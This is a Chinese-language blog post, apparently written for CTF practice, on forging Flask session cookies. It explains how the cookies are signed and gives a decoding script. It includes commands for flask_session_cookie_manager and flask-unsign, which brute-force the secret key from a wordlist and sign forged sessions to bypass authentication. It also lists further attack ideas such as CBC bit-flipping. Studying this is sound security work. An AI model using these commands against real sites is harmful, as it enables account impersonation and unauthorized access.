目录

  1. 1. 前言
  2. 2. Session ID
  3. 3. 出现场景&分类
  4. 4. Flask 实现 session 签名
    1. 4.1. 过程
  5. 5. CodeIgniter 2.1.4 session 伪造及对象注入漏洞
  6. 6. 工具
    1. 6.1. 简易解密脚本
    2. 6.2. flask_session_cookie_manager 进行 Session 加密解密
    3. 6.3. flask-unsign 进行 secret_key 爆破与 session 加解密
  7. 7. 安全隐患&题目思路

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

session伪造

2023/5/14 Web jwt session flask
  |     |   总文章阅读量:

前言

参考:

https://www.leavesongs.com/PENETRATION/client-session-security.html

https://paoka1.top/2022/05/28/Flask-%E7%9A%84-SESSION-%E4%BC%AA%E9%80%A0/

Session ID

是服务器为每个用户在登录时生成的一个随机字符串,用于标识用户身份和会话状态,即作为认证用户身份的凭证,通常存储在 Cookie 中

特点:

  1. 用户不可以任意篡改
  2. A用户的 session 无法被B用户获取

出现场景&分类

PHP 中:$_SESSION 变量的内容默认会被保存在服务端的一个文件中,通过一个叫 PHPSESSID 的 Cookie 来区分用户。这类 session 是“服务端session”,用户看到的只是 session 的名称(一个随机字符串),其内容保存在服务端

Django 中:默认将 session 存储在数据库中

Flask 中:Flask 并不包含数据库框架的操作,只能将 session 存储在 cookie 中

Flask 实现 session 签名

from flask import Flask, session

app = Flask(__name__)
app.secret_key = 'SCFmkpovdDVCJPO21cvcds'

@app.route('/')
def set_session():
    if 'name' in session:
        name = session['name']
        if name == "anonymous":
            return 'Session 已设置,你是 anonymous'
        elif name == 'admin':
            return 'Session 已设置,你是 admin'
        else:
            return 'Session 已设置,你是 ???'
    session['name'] = 'anonymous'
    return 'Session 未设置,现已设置'

if __name__ == '__main__':
    app.run(debug=False, port=8080)

过程

  1. json.dumps 将对象转换成 json 字符串,作为数据
  2. 如果数据压缩后长度更短,则用 zlib 库进行压缩
  3. 将数据用 base64 编码
  4. 通过 hmac 算法计算数据的签名,将签名附在数据后,用 “.” 分割

在第四步中 Flask 通过一个 secret_key 来对 cookie 内容进行签名,而签名的作用是防篡改,无法防止被读取,Flask 并没有提供加密操作,所以 session 的全部内容都可以在客户端被读取

一旦获取到 secret_key,结合客户端获取到 session 内容,我们就可以尝试签名伪造 session


CodeIgniter 2.1.4 session 伪造及对象注入漏洞

Codeigniter 2 的 session 也储存在 session 中,默认名为 ci_session,虽然是 PHP 框架,其 session 数据使用 PHP 自带的 serialize 函数进行序列化,并签名后作为 ci_session 的值,原理上和 Flask 相似

https://www.dionach.com/blog/codeigniter-session-decoding-vulnerability

https://github.com/Dionach/CodeIgniterXor


工具

简易解密脚本

#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode

def decryption(payload):
    payload, sig = payload.rsplit(b'.', 1)
    payload, timestamp = payload.rsplit(b'.', 1)

    decompress = False
    if payload.startswith(b'.'):
        payload = payload[1:]
        decompress = True

    try:
        payload = base64_decode(payload)
    except Exception as e:
        raise Exception('Could not base64 decode the payload because of '
                         'an exception')

    if decompress:
        try:
            payload = zlib.decompress(payload)
        except Exception as e:
            raise Exception('Could not zlib decompress the payload before '
                             'decoding the payload')

    return session_json_serializer.loads(payload)

if __name__ == '__main__':
    print(decryption(sys.argv[1].encode()))

Github上的脚本

在安装的文件夹中使用终端执行命令

解密:

python flask_session_cookie_manager3.py decode -s "secret_key" -c "需要解密的session值"

加密:

python flask_session_cookie_manager3.py encode -s "secret_key" -t "需要加密的session值"

由此可以抓包进行session伪造实现身份认证绕过


flask-unsign 进行 secret_key 爆破与 session 加解密

爆破key,dict.txt需要看情况自己生成,一般是固定位数的随机数

flask-unsign --unsign --cookie "session值" --wordlist dict.txt

加密:

flask-unsign --sign --cookie "要加密的字符串" --secret 'secret_key' --no-literal-eval

安全隐患&题目思路

  1. 签名使用 hash 函数而非 hmac 函数,导致利用 hash 长度扩展攻击来伪造 session
  2. 任意文件读取导致密钥泄露,进一步造成身份伪造漏洞或反序列化漏洞(常见)
  3. 如果客户端 session 仅加密未签名,利用 CBC 字节翻转攻击,我们可以修改加密 session 中某部分数据,来达到身份伪造的目的(ACTF-2025 not so web 1